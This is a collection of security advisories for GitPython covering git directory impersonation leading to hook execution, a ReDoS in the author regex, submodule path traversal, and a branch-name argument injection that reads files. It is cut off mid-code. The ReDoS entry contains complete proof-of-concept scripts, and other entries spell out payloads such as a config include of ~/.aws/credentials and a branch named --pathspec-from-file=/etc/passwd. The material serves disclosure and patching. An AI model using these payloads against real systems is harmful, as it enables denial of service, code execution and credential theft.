[PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Repository content can impersonate the git directory, leading to arbitrary code execution [CVE-2026-87817](https://nvd.nist.gov/vuln/detail/CVE-2026-87817) / [GHSA-239g-whfq-7xj9](https://github.com/advisories/GHSA-239g-whfq-7xj9) / PYSEC-2026-3982 <details> <summary>More information</summary> #### Details ##### Summary `Repo.__init__` decides which directory is the git directory by testing candidate paths in an order that considers the real `.git` **last**. Two earlier tests can be satisfied by ordinary tracked files. Git reserves only the literal name `.git`, so `HEAD`, `objects/`, `refs/`, `config`, `gitdir`, `commondir` and `hooks/` at a repository root are all legal tracked content. Consequently, after a victim opens or clones an attacker's repository, GitPython resolves `git_dir` to the **working-tree root** while real git correctly resolves `<root>/.git`. Everything GitPython then treats as "inside the git directory" is attacker-authored content — including `hooks/`, which it executes. ##### CVE-2026-87817 ##### Affected code (3.1.59) The discovery loop in `git/repo/base.py` tests, in order: 1. `git/repo/base.py:299` — `isfile(curpath/gitdir)` **and** `isfile(curpath/commondir)` **and** `isfile(curpath/HEAD)` 2. `git/repo/base.py:320` — `is_git_dir(curpath)` 3. `git/repo/base.py:341` — `dotgit = osp.join(curpath, ".git")` ← the real git dir, considered last `is_git_dir` (`git/repo/fun.py:60`) requires only that `objects/` and `refs/` are directories and that `HEAD` is a file; **`HEAD`'s contents are never parsed.** The hook path is resolved from `index.repo.git_dir` (`git/index/fun.py:73`), i.e. the mis-resolved directory. ##### Proof of concept Requires only `pip install GitPython==3.1.59`. Full script attached as `poc1_rce.py`; it runs entirely in a temp directory and the payload only writes a marker file. Attacker repository — four ordinary tracked files at the root: | path | mode | content | |---|---|---| | `gitdir` | 100644 | `.git\n` | | `commondir` | 100644 | `.git\n` | | `HEAD` | 100644 | `ref: refs/heads/master\n` | | `hooks/pre-commit` | **100755** | `#!/bin/sh` + payload | Victim — two ordinary calls: ```python repo = git.Repo.clone_from(url, dst) # or git.Repo(dst) repo.index.commit("automated commit") # code execution happens here ``` Observed on the PyPI release 3.1.59 (Linux and Windows): ``` real git says the git dir is : /tmp/.../victim/.git GitPython says it is : /tmp/.../victim <- shadowed attacker's hook executed : True git fsck : (clean) ``` The `pre-commit` hook runs at `git/index/base.py:1201`, before `write_tree()`, so it fires even though the commit later fails. ##### Impact A service that opens or clones an untrusted repository with GitPython — a CI runner building a fork pull request, a code-scanning/SBOM service, a mirror, a dependency bot, an AI code-review/agent tool — can be made to: 1. **Execute arbitrary commands** via the tracked `<root>/hooks/pre-commit` when the victim calls `index.commit()`. 2. **Read files outside the repository**: the tracked `<root>/config` becomes the repository config and is parsed with `merge_includes=True` (`git/repo/base.py:765`), so `[include] path = ~/.aws/credentials` discloses the file. (`Repo._config_reader` still defaults `merge_includes=True`, so the hardening added in 3.1.59 for `.gitmodules`/GHSA-7833 does not cover this path.) 3. **Write a config file to an attacker-chosen directory** via an absolute tracked `commondir`. Delivery is silent: `git clone` exits 0, `git fsck` (including `--strict`, and with `transfer.fsckObjects`/`fetch.fsckObjects=true`) reports nothing, and the clone passes every read-only probe (`head.commit`, `branches`, `is_dirty()`, `untracked_files`, `iter_commits`) because a tracked `commondir` of `.git` pins `common_dir` to the real `.git`. ##### Threat model / preconditions - Attacker controls the content of a repository the victim opens or clones with GitPython (public repo, fork PR, mirrored dependency). - For code execution, the victim performs a commit via GitPython's native `index.commit()`. For the file-read impact, opening the repo and reading config is enough. - `GIT_WORK_TREE` is **not** a mitigation — `git_dir` is assigned and the discovery loop breaks before the environment is consulted. - Real git is unaffected; only GitPython mis-resolves the directory. ##### Remediation 1. Test `curpath/.git` **before** the `gitdir`/`commondir`/`HEAD` triple and before `is_git_dir(curpath)`. 2. Resolve `hook_path` / `_commit_hook_path` / `_get_validated_reflog_path` through `repo.common_dir`. 3. Containment-check `commondir`/`gitdir` contents before joining (reuse `SymbolicReference._get_validated_path`). 4. Validate `HEAD` in `is_git_dir` (require `ref: refs/...` or a 40-hex sha). 5. Pass `merge_includes=False` in `Repo._config_reader` (`git/repo/base.py:765`). ##### Note for the maintainers Commit `406b98e1` (2026-05-31, "respect core.hooksPath for commit hooks") resolved the hook path via `git rev-parse --git-path`, which is immune because git rediscovers the true `.git`. Commit `9bc287a2` (2026-07-20) reverted it to avoid an unconditional `rev-parse` dependency — reintroducing the exec step. Measured at each commit with the healthy-looking layout: `406b98e1` → hook did not fire; `9bc287a2` … `3.1.59` → hook fired. ##### Scope note Only the **repository-root** case is reported: where a real `.git` exists, git prefers it, and GitPython does not. A fake git dir in a subdirectory fools real git too, so that variant is out of scope as a general ecosystem hazard rather than a GitPython defect. ###POC Files : [poc1_rce.py](https://github.com/user-attachments/files/31388464/poc1_rce.py) [poc2_file_read.py](https://github.com/user-attachments/files/31388465/poc2_file_read.py) #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-87817](https://nvd.nist.gov/vuln/detail/CVE-2026-87817) - [https://github.com/gitpython-developers/GitPython/pull/2218](https://github.com/gitpython-developers/GitPython/pull/2218) - [https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b](https://github.com/gitpython-developers/GitPython/commit/c7cf4d13b1ed0a2e70f2a1f3c6b4fc6c2652cf0b) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3982.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation](https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-239g-whfq-7xj9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Denial of Service via catastrophic backtracking (ReDoS) in Actor.name_email_regex — commit author/committer field parsing [CVE-2026-87819](https://nvd.nist.gov/vuln/detail/CVE-2026-87819) / [GHSA-g5vv-9gxw-82hx](https://github.com/advisories/GHSA-g5vv-9gxw-82hx) / PYSEC-2026-3984 <details> <summary>More information</summary> #### Details ##### Summary GitPython's `Actor.name_email_regex` regular expression (`git/util.py`, line 863) is vulnerable to catastrophic backtracking (ReDoS — Regular Expression Denial of Service). When GitPython parses the `author` or `committer` header of a git commit object that contains a long string with an unterminated `<` (no matching `>`), the Python regex engine enters quadratic backtracking, causing complete single-threaded CPU exhaustion proportional to the square of the input length. A single crafted commit object can block any GitPython API call that reads `.author` or `.committer` for **over two minutes per invocation**, enabling denial of service against CI runners, code-hosting backends, repository-scanning pipelines, or any service that processes commits from third-party or untrusted repositories. --- ##### Details **Vulnerable file and line:** `git/util.py`, line 863: ```python name_email_regex = re.compile(r"(.*) <(.*?)>") ``` This regex is evaluated inside `Actor._from_string()` (line 909) every time GitPython resolves a commit's `.author` or `.committer` property. **Full call chain — from public API to vulnerable sink:** commit.author # any ordinary GitPython API call └── git/objects/commit.py:917 Commit._deserialize() └── git/objects/util.py:341 parse_actor_and_date(author_line) └── git/util.py:909 Actor._from_string(string) └── Actor.name_email_regex.search(string) ← VULNERABLE `author_line` is decoded directly from the raw bytes of the git commit object with **no length limit, character restriction, or timeout** applied at any point before reaching the regex engine. The same chain is triggered by: - `commit.author` - `commit.committer` - `repo.iter_commits()` - `repo.blame()` - Any web service / CI tool that displays or processes commit metadata **Why this pattern backtracks catastrophically:** The pattern `(.*) <(.*?)>` contains an unbounded greedy group `(.*)` followed by a literal space and `<`. When the input is a long string that contains `<` but no closing `>`, the regex engine must try every possible split position for the greedy group — O(n²) candidate positions for a string of length n — each of which then drives the inner lazy group into further sub-match attempts. This is the well-documented "catastrophic backtracking" failure mode for this family of patterns. **Empirically measured scaling (tested against GitPython 3.1.59, commit 52a6cba):** | Author field length (bytes) | Time to resolve `.author` | |-----------------------------|--------------------------| | 1,000 | 0.0035 s | | 5,000 | 0.084 s | | 10,000 | 0.341 s | | 20,000 | 1.525 s | | 40,000 | 5.963 s | | 60,000 | 13.360 s | | 80,000 | 23.871 s | | **200,000** | **150.488 s** | Each doubling of input size roughly quadruples processing time (e.g. 40,000 → 80,000 bytes: 5.96 s → 23.87 s ≈ 4.0×), confirming O(n²) growth. Git itself imposes **no practical size limit** on author name fields in the object format. **How the malicious object reaches a victim:** The PoC creates the commit object as a correctly SHA-1-hashed, zlib-compressed git loose object written directly into `.git/objects/`. `git cat-file -t <sha>` confirms it is a valid `commit` type and git's own read-side tools display it without error. Only git's write-side tooling (`git commit --author`, `git update-index`, explicit `git fsck`) applies the sanity checks that would reject a malformed author line. Delivery paths that bypass those checks include: - A git server with `receive.fsckObjects = false` (common in self-hosted deployments) - A `.git` directory shipped as a tarball, backup, or zip archive - A git bundle file - Any automated mirror or import tool that operates at the object level --- ##### PoC **Environment used for testing:** - GitPython 3.1.59, installed in editable mode from source (no code modifications) - Python 3.12.3, git 2.43.0, Ubuntu 24.04 **Script 1 — craft the malicious repository (`craft_malicious_repo.py`):** ```python #!/usr/bin/env python3 """ Creates a git repository with one commit whose 'author' field is a large string containing an unterminated '<'. Bypasses git's write-side sanity checks by writing the raw object directly into .git/objects/. Usage: python3 craft_malicious_repo.py <target_dir> <payload_size_bytes> """ import hashlib, os, subprocess, sys, zlib def run(cmd, cwd): return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True) def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <target_dir> <payload_size_bytes>") sys.exit(1) target_dir, payload_size = sys.argv[1], int(sys.argv[2]) os.makedirs(target_dir, exist_ok=True) run(["git", "init", "--quiet"], cwd=target_dir) run(["git", "config", "user.email", "poc@example.com"], cwd=target_dir) run(["git", "config", "user.name", "PoC"], cwd=target_dir) with open(os.path.join(target_dir, "README.txt"), "w") as f: f.write("GitPython ReDoS PoC repository\n") run(["git", "add", "README.txt"], cwd=target_dir) tree_sha = run(["git", "write-tree"], cwd=target_dir).stdout.strip() malicious_name = "A" * payload_size # Key: author field contains a '<' with no closing '>' author_line = f"author {malicious_name} <unterminated 1691999972 -0700" committer_line = "committer PoC <poc@example.com> 1691999972 -0700" message = "ReDoS PoC commit" commit_content = ( f"tree {tree_sha}\n{author_line}\n{committer_line}\n\n{message}\n" ).encode() header = f"commit {len(commit_content)}\x00".encode() store = header + commit_content sha = hashlib.sha1(store).hexdigest() compressed = zlib.compress(store) objdir = os.path.join(target_dir, ".git", "objects", sha[:2]) os.makedirs(objdir, exist_ok=True) with open(os.path.join(objdir, sha[2:]), "wb") as f: f.write(compressed) run(["git", "update-ref", "refs/heads/master", sha], cwd=target_dir) print(f"Malicious commit sha : {sha}") print(f"Payload size : {payload_size} bytes") verify = subprocess.run( ["git", "cat-file", "-t", sha], cwd=target_dir, capture_output=True, text=True ) print(f"git cat-file -t confirms: {verify.stdout.strip()}") if __name__ == "__main__": main() ``` **Script 2 — trigger the vulnerability (`trigger_redos.py`):** ```python #!/usr/bin/env python3 """ Opens the repository with GitPython and times commit.author access, which triggers Actor._from_string() -> Actor.name_email_regex.search(). Usage: python3 trigger_redos.py <repo_dir> <commit_sha> """ import sys, time, git def main(): if len(sys.argv) != 3: print(f"usage: {sys.argv[0]} <repo_dir> <commit_sha>") sys.exit(1) repo = git.Repo(sys.argv[1]) commit = repo.commit(sys.argv[2]) print("Accessing commit.author — triggers Actor._from_string()...") t0 = time.time() author = commit.author # ← this single line causes the hang elapsed = time.time() - t0 print(f"Author name length : {len(author.name)} chars") print(f"Elapsed : {elapsed:.3f} seconds") print("RESULT: VULNERABLE" if elapsed > 5 else "RESULT: not triggered") if __name__ == "__main__": main() ``` **Execution and observed output:** $ python3 craft_malicious_repo.py /tmp/victim-repo 200000 Malicious commit sha : 2450fbd5ab5ebfff430dab183d25678df9fd20de Payload size : 200000 bytes git cat-file -t confirms: commit $ python3 trigger_redos.py /tmp/victim-repo 2450fbd5ab5ebfff430dab183d25678df9fd20de Accessing commit.author — triggers Actor._from_string()... Author name length : 200014 chars Elapsed : 150.488 seconds RESULT: VULNERABLE **Docker reproduction (fully isolated environment):** ```bash docker run --rm -it -v ~/gitpython-poc:/work -w /work python:3.8-bookworm bash ##### Inside the container: apt-get update && apt-get install -y git git clone --depth 1 https://github.com/gitpython-developers/GitPython.git /work/GitPython pip install -e /work/GitPython python3 /work/poc/craft_malicious_repo.py /work/victim-repo 200000 ##### note the SHA printed, then: python3 /work/poc/trigger_redos.py /work/victim-repo <SHA> ``` The `python:3.8-bookworm` base image matches the one used in GitPython's own `fuzzing/local-dev-helpers/Dockerfile`. --- ##### Impact **Who is affected:** Any application that uses GitPython to parse commits from a source it does not fully control. High-risk deployments include: - **CI/CD systems** (Jenkins, GitLab CI, GitHub Actions self-hosted runners, etc.) that clone and inspect third-party pull requests — one malicious commit in a PR can stall every worker that processes it. - **Code-hosting or code-review web services** that render commit author information — a single crafted push blocks every page render or API response that touches that commit's metadata. - **Security or compliance scanners** that walk repository history across many repositories — one crafted object in any repository exhausts a scanner worker. **Severity of impact:** A 200 KB author field blocks a process for ~150 seconds per single `.author` access. When `iter_commits()` or `blame` are used, every commit in a history traversal can be independently crafted, multiplying the total hang time by the number of commits processed. There is no confidentiality or integrity impact — this is a pure availability / resource-exhaustion vulnerability. --- ##### Suggested Fix Replace the vulnerable pattern with one that cannot backtrack catastrophically. The minimal, behavior-preserving fix is to exclude `<` and `>` from the name group, removing the ambiguity that forces O(n²) backtracking: ```python ##### git/util.py, line 863 ##### Before (vulnerable): name_email_regex = re.compile(r"(.*) <(.*?)>") ##### After (fixed — identical output for all well-formed input): name_email_regex = re.compile(r"([^<>]*) <([^<>]*)>") ``` Because the name group can no longer itself contain a `<` character, the engine has exactly one candidate position to try when a closing `>` is absent — and fails in O(n) time instead of O(n²). Legitimate actor strings (`Name <email>`) never contain `<` or `>` in either field, so this change produces identical results for all valid input. As defense in depth, independently of the regex fix, bounding the maximum number of characters GitPython will attempt to parse in an author/committer line (e.g. rejecting strings longer than 4096 bytes before passing them to any regex) would further limit the blast radius of any future ReDoS class in this parser. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx) - [https://github.com/gitpython-developers/GitPython/pull/2215](https://github.com/gitpython-developers/GitPython/pull/2215) - [https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8](https://github.com/gitpython-developers/GitPython/commit/751473a5f3221d6f989291cbebcc404353fd3ba8) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.60) - [https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml](https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3984.yaml) - [https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos](https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g5vv-9gxw-82hx) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-87817](https://nvd.nist.gov/vuln/detail/CVE-2026-87817) / [GHSA-239g-whfq-7xj9](https://github.com/advisories/GHSA-239g-whfq-7xj9) / PYSEC-2026-3982 <details> <summary>More information</summary> #### Details GitPython before 3.1.60 fails to properly validate the git directory location, allowing attackers to impersonate the git directory using tracked files like gitdir, commondir, and HEAD. Attackers can execute arbitrary code by placing a malicious pre-commit hook in the tracked hooks directory that executes when a victim calls index.commit() on a cloned or opened repository. #### Severity - CVSS Score: 8.7 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X` #### References - [https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation](https://www.vulncheck.com/advisories/gitpython-before-3.1.60-remote-code-execution-via-git-directory-impersonation) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-239g-whfq-7xj9) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3982) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-87819](https://nvd.nist.gov/vuln/detail/CVE-2026-87819) / [GHSA-g5vv-9gxw-82hx](https://github.com/advisories/GHSA-g5vv-9gxw-82hx) / PYSEC-2026-3984 <details> <summary>More information</summary> #### Details GitPython before 3.1.60 contains a regular expression denial of service vulnerability in Actor.name_email_regex that processes commit author and committer fields. Attackers can craft a commit object with a malformed author field containing an unterminated angle bracket to cause quadratic backtracking, exhausting CPU resources for over two minutes per commit access. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos](https://www.vulncheck.com/advisories/gitpython-before-3.1.60-denial-of-service-via-redos) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-g5vv-9gxw-82hx) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3984) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython submodule update path traversal can write outside the repository [CVE-2026-100689](https://nvd.nist.gov/vuln/detail/CVE-2026-100689) / [GHSA-59cr-6r3x-644w](https://github.com/advisories/GHSA-59cr-6r3x-644w) <details> <summary>More information</summary> #### Details **Affected:** `GitPython` **3.1.61** (latest release) and `main` — `git/objects/submodule/base.py`. `git diff 3.1.61 origin/main -- git/objects/submodule/` is empty, so both are identical here. --- ##### The gap The fix for `GHSA-hmq2-w58f-27jc` added `Submodule._validated_name()` and wired it into `update()` and five siblings, closing the `.gitmodules` **name** → `.git/modules/<name>` traversal. The other attacker-controlled `.gitmodules` field, **`path`**, is read raw: ```python ##### git/objects/submodule/base.py:172-177 def _set_cache_(self, attr): if attr in ("path", "_url", "_branch_path"): reader = self.config_reader() self.path = reader.get("path") # raw .gitmodules value ``` and GitPython's own containment guard is applied in only two of the places that consume it: ``` 400: def _to_relative_path(cls, parent_repo, path) # the guard (abspath + commonpath containment) 542: path = cls._to_relative_path(repo, path) # add() — guarded 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) # move() — guarded ``` `update()` validates only the name and then uses the path-derived absolute location directly: ``` 788: self._validated_name(self.name) # NAME only 801: checkout_module_abspath = self.abspath # derived from self.path — unguarded 821: os.makedirs(checkout_module_abspath, exist_ok=True) ``` So `path = ../../../tmp/escaped` in an attacker-authored `.gitmodules` selects the directory that gets created and, on the clone path, populated from the submodule URL. The same absolute location is what `force_remove` hands to `shutil.rmtree`. The asymmetry is the argument: this is not a missing concept — the project wrote `_to_relative_path()` precisely for this, and `add()`/`move()` use it. `update()` does not. ##### Honest limits (please read before rating) - **The most common flow is not affected.** `Repo.clone_from(...)` → `repo.submodules` → `sm.update(init=True)` re-derives `path` from a canonical tree lookup, and real git refuses to check out a tree containing a `..` component, so an evil `.gitmodules` never lands in the working tree in the first place. A reachable trigger therefore requires the victim's code to name a **non-HEAD commit** (a historical-commit API such as `submodule_update(previous_commit=...)`). - **The researcher did not build that end-to-end trigger.** The researcher only verified first-hand the code above: the guard's two call sites, the name-only validation in `update()`, and the unguarded `abspath` → `os.makedirs()` flow at 3.1.61 == `main`. ##### Suggested fix Apply the guard the project already has, wherever the path is consumed: ```python ##### in update(), before deriving abspath (and in any other consumer of self.path): checkout_rel = self._to_relative_path(self.repo, self.path) # raises if it escapes the working tree ``` Better still, validate at the boundary: reject a `.gitmodules` entry whose `path` is absolute or contains a `..` component when the section is first read in `_set_cache_()`/`iter_items()`, so no consumer can be added later without the check. A regression test with `path = ../escaped` alongside the existing `name` test would pin both fields. ##### Prior art checked `GHSA-hmq2-w58f-27jc` (this is a residual of its fix, in the sibling field, not a re-report) plus the repository's 30 published advisories — none mentions the `path` field or `_to_relative_path`. Searched issues and PRs for `_to_relative_path`, `gitmodules path` and `submodule traversal`: no report of this. ##### Credit **kta1kri**. --- ##### Appendix — `EVIDENCE_gitpython_path_unguarded_20260901.txt` (inlined; advisories accept no attachments) ```text === EVIDENCE: GitPython — the .gitmodules 'path' field reaches os.makedirs()/clone unguarded === Mon Aug 31 18:45:22 UTC 2026 --- artifact: tag 3.1.61 (latest release); git diff 3.1.61 origin/main -- git/objects/submodule/ is empty --- --- the containment guard GitPython owns, and its only two call sites --- 33: _to_relative_path, 400: def _to_relative_path(cls, parent_repo: "Repo", path: PathLike) -> PathLike: 407: path = _to_relative_path(parent_repo.working_tree_dir, path) 542: path = cls._to_relative_path(repo, path) 1041: module_checkout_path = self._to_relative_path(self.repo, module_path) --- the parent fix (_validated_name) call sites: it validates the NAME --- 309: def _validated_name(cls, name: str) -> str: 321: name = cls._validated_name(name) 541: cls._validated_name(name) 788: self._validated_name(self.name) 1040: self._validated_name(self.name) 1181: self._validated_name(self.name) 1439: self._validated_name(self.name) 1440: self._validated_name(new_name) 1489: self._validated_name(self.name) --- update(): name validated, path not; abspath -> os.makedirs --- try: self._validated_name(self.name) # ENSURE REPO IS PRESENT AND UP-TO-DATE # END early abort if init is not allowed checkout_module_abspath = self.abspath module_abspath = self._module_abspath(self.repo, self.path, self.name) # ``git submodule deinit`` leaves the repository in # ``.git/modules`` and empties the checkout. Reconnect that retained # repository instead of trying to clone over it. if not dry_run and osp.isdir(module_abspath): try: git.Repo(module_abspath) except InvalidGitRepositoryError: pass else: if osp.lexists(checkout_module_abspath) and ( osp.islink(checkout_module_abspath) or not osp.isdir(checkout_module_abspath) or os.listdir(checkout_module_abspath) ): raise OSError( "Module directory at %r does already exist and is non-empty" % checkout_module_abspath ) os.makedirs(checkout_module_abspath, exist_ok=True) self._write_git_file_and_module_config(checkout_module_abspath, module_abspath) mrepo = git.Repo(checkout_module_abspath) --- where self.path comes from (raw .gitmodules value) --- def _set_cache_(self, attr: str) -> None: if attr in ("path", "_url", "_branch_path"): reader: SectionConstraint = self.config_reader() # Default submodule values. try: self.path = reader.get("path") except cp.NoSectionError as e: ``` #### Severity - CVSS Score: 6.1 / 10 (Medium) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-59cr-6r3x-644w](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-59cr-6r3x-644w) - [https://github.com/gitpython-developers/GitPython/pull/2225](https://github.com/gitpython-developers/GitPython/pull/2225) - [https://github.com/gitpython-developers/GitPython/commit/1ed0ebc2f2e74d979cdc367a4864a7731fdcc093](https://github.com/gitpython-developers/GitPython/commit/1ed0ebc2f2e74d979cdc367a4864a7731fdcc093) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.62) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-59cr-6r3x-644w) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: arbitrary file read via attacker-controlled branch name in `Head.checkout()` (incomplete fix of CVE-2026-78679) [CVE-2026-110859](https://nvd.nist.gov/vuln/detail/CVE-2026-110859) / [GHSA-23mf-xhv8-69c2](https://github.com/advisories/GHSA-23mf-xhv8-69c2) <details> <summary>More information</summary> #### Details > **A note on the referenced files.** This report was submitted through GitHub's private > vulnerability reporting API, which carries no attachments. Every transcript this report leans > on is reproduced **inline above**, verbatim. The file names it mentions (`poc.sh`, `poc.log`, > per-case transcripts, `evidence.md`, `negative-controls.md`, blob-sweep tables) are the local > evidence bundle those inline excerpts were extracted from, with a checksum manifest. I am happy > to send the bundle by any channel you prefer, or to open a private fork — just say which. The > PoC scripts are self-contained and reproduce the result from a clean environment. --- **Affected:** `<= 3.1.62` — all published releases; also `main` @&#8203; `4905b4af` **Verified at runtime:** GitPython `3.1.62` with git `2.55.0` **Date:** 2026-09-10 **Reporter:** MAXI8594 --- ##### Threat model | | | |---|---| | **Attacker** | anyone who can get the application to clone a URL they control. No account, no credential, no privilege in the consuming application. | | **Pre-need** | a repository they host, with `HEAD` pointing at a branch whose name is the payload. A `git push` to a plain git server is enough — no filesystem access to a server is required (`raw/06`). | | **Gets** | the contents of any file the application's process can read, returned in band through the exception. `/etc/passwd` recovered 34 of 34 lines. | | **Real-world likelihood** | **High.** The vulnerable consumer is six lines of ordinary code with no unusual configuration: `Repo.clone_from(user_url)` then `repo.active_branch.checkout()`. `allow_unsafe_options=False` is the default. Cloning user-supplied URLs is the library's central use case — CI systems, repository importers, scanners and bots. | **On severity relative to the sibling advisories.** GitHub, as CNA, scored the three prior advisories in this class at 6.5 / `PR:L` (CVE-2026-76217, CVE-2026-78678, CVE-2026-78679). This report asks for 7.5 / `PR:N`, and the difference is one measured fact: in those three, the application had to pass an attacker-influenced value into the API. Here it passes nothing — the clone materialises the hostile branch on its own and `repo.active_branch` returns it (`raw/02`). If that reading is not accepted, the `PR:L` path via `Repo.create_head()` is also real and lands at 6.5, matching the siblings. ##### Summary `Head.checkout()` guards its `**kwargs` against unsafe Git options but never inspects its own positional argument — the branch name — which reaches the `git checkout` argv with no `--` separator. A repository whose default branch is named `--pathspec-from-file=/etc/passwd` makes a consumer that merely clones it and checks out the default branch return the entire contents of that file to the caller. This is the exact combination of two advisories the project already fixed: - **CVE-2026-76217** (`GHSA-hh9p-6wh2-4mfc`) — *"Arbitrary file read via `--pathspec-from-file` in `IndexFile.remove()` **and `Head.checkout()`**"*. Fixed in 3.1.58 by commit `f2550b65`, which added the guard to this exact method — but only for `**kwargs`. - **CVE-2026-78679** (`GHSA-3wxw-xv34-2frg`) — *"`TagReference.create` positional reference bypasses kwargs-only `--file` guard, enabling arbitrary file read (incomplete fix of 3af0c251)"*. Fixed in 3.1.59 by commit `1b0d2d9b`, which applied the positional check to `git/refs/tag.py`, `git/diff.py`, `git/index/base.py` and `git/repo/base.py` — but not to `git/refs/head.py:286`. `f2550b65` states in its own commit message that the audit found the positional variant and applied it to `HEAD.reset` — 185 lines above `Head.checkout`, in the same file, in the same commit: > "The audit also found that **reset's positional commit could carry the option before its argument > separator**. […] **Check reset's positional commit as well as keyword options**" `HEAD.reset` got the fix. `Head.checkout` did not, and `1b0d2d9b` did not come back for it. ##### Affected Asset | | | |---|---| | Package | `GitPython` (PyPI) | | Affected versions | **`<= 3.1.62`** — all published releases | | Latest release tested | `3.1.62` | | Also present on | `main` @&#8203; `4905b4af` | | Vulnerable file | `git/refs/head.py` | | Guard | line 286 — `Git._option_candidates([], kwargs)` | | Sink | line 293 — `self.repo.git.checkout(self, **kwargs)` | | CWE | CWE-88 (Argument Injection), CWE-73 (External Control of File Name or Path), CWE-200 (Exposure of Sensitive Information) | | CVSS 3.1 | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N` → **7.5 High** | The version range was established by **blob hash against every tag**, not by dates: the sink line `self.repo.git.checkout(self, **kwargs)` — with no `--` separator — is present in `git/refs/head.py` in every tag from `0.3.1-beta2` through `3.1.62`. The `3.1.62` blob is byte-identical to `main`: `7f563374ef9e018b3d5f95054498e8591e112ce2`. Full sweep in `raw/07-blob-version-sweep.txt`. The kwargs-only guard first appears in **3.1.58**, so `3.1.58`–`3.1.62` is where "incomplete fix" applies; earlier releases have the same sink with no guard at all. ##### Vulnerability Details ##### Root cause `git/cmd.py:1045` — `_option_candidates()` only inspects the positionals it is handed: ```python @classmethod def _option_candidates(cls, args: Sequence[Any] = (), kwargs: Optional[Mapping[str, Any]] = None) -> List[str]: """Collect possible option spellings before command-line transformation.""" options = [ option for option in cls._unpack_args([arg for arg in args if arg is not None]) if option.startswith("-") ] ``` So `_option_candidates([], kwargs)` means: *check the keyword arguments, never check the positional arguments this method puts on the command line.* That is fine when the method has no attacker-influenced positional, or when it separates them with `--`. `git/refs/head.py:283-293` — `Head.checkout()` has neither: ```python if not allow_unsafe_options: 